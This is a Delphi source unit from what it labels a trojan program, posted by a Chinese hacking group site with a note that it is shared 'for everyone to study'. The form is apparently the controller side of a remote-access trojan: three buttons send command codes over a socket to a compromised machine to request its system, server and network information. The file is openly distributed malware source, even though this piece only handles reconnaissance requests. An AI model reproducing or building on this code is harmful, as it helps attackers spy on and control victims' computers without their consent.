untinformationview.pas

木马源程序,供大家研究

{南域剑盟    www.98exe.com   上兴QQ:51992
 声明：程序由南域剑盟98exe.com成员网上搜集，不承担技术及版权问题}
unit untInformationView;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ComCtrls, Winsock, untCMDList;

type
  TForm3 = class(TForm)
    ListView1: TListView;
    StatusBar1: TStatusBar;
    Button1: TButton;
    Button2: TButton;
    Button3: TButton;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;
  Sock : TSocket;
  Data : String;

implementation

{$R *.dfm}

procedure TForm3.Button1Click(Sender: TObject);
begin
  ListView1.Items.Clear;
  Sock := StrToInt(StatusBar1.Panels[0].Text);
  Data := IntToStr(C_INFOSYSTEM) + ' 1'#10;
  Send(Sock, Data[1], Length(Data), 0);
end;

procedure TForm3.Button2Click(Sender: TObject);
begin
  ListView1.Items.Clear;
  Sock := StrToInt(StatusBar1.Panels[0].Text);
  Data := IntToStr(C_INFOSERVER) + ' 1'#10;
  Send(Sock, Data[1], Length(Data), 0);
end;

procedure TForm3.Button3Click(Sender: TObject);
begin
  ListView1.Items.Clear;
  Sock := StrToInt(StatusBar1.Panels[0].Text);
  Data := IntToStr(C_INFONETWORK) + ' 1'#10;
  Send(Sock, Data[1], Length(Data), 0);
end;

procedure TForm3.FormClose(Sender: TObject; var Action: TCloseAction);
begin
  StatusBar1.Panels[0].Text := '0';
end;

end.